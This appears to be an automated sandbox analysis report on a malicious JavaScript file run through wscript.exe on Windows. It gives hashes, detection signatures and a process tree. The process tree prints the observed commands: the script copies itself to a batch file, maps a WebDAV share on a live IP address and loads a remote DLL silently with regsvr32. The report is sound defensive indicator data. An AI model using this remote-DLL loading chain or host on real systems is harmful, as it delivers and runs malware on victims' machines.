Analysis
-
max time kernel
94s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
10/07/2024, 08:22
Static task
static1
Behavioral task
behavioral1
Sample
1035225472423620255.js
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
1035225472423620255.js
Resource
win10v2004-20240709-en
General
-
Target
1035225472423620255.js
-
Size
5KB
-
MD5
79cea7a28ac3b0816f02ef8cd56bb374
-
SHA1
b97aeaa191a25362322f9c6a5010778eee4232c7
-
SHA256
376085bc9aedc269393898b028006abc2555072e61a0471ceb663bd3ccf4a26d
-
SHA512
af1847183c548a654eb92db6b08ae99eb46ce7923ab717f44f743360f1f7f31d3119eef5013005f664f680315e3804e3766e4553584af7a2d1f7fd9f51756cb9
-
SSDEEP
96:jOcpeIr/HRoYmcfRoYV10WklIdGTIfe1xTiifxdexT2xIBIkTv:acoApoYmcpoYV1MlIgTIf6TiiZgTqCI+
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3496 wrote to memory of 2896 3496 wscript.exe 81 PID 3496 wrote to memory of 2896 3496 wscript.exe 81 PID 2896 wrote to memory of 4480 2896 cmd.exe 83 PID 2896 wrote to memory of 4480 2896 cmd.exe 83 PID 2896 wrote to memory of 1628 2896 cmd.exe 84 PID 2896 wrote to memory of 1628 2896 cmd.exe 84
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\1035225472423620255.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1035225472423620255.js" "C:\Users\Admin\\iehjwd.bat" && "C:\Users\Admin\\iehjwd.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:4480
-
-
C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\916.dll3⤵PID:1628
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD579cea7a28ac3b0816f02ef8cd56bb374
SHA1b97aeaa191a25362322f9c6a5010778eee4232c7
SHA256376085bc9aedc269393898b028006abc2555072e61a0471ceb663bd3ccf4a26d
SHA512af1847183c548a654eb92db6b08ae99eb46ce7923ab717f44f743360f1f7f31d3119eef5013005f664f680315e3804e3766e4553584af7a2d1f7fd9f51756cb9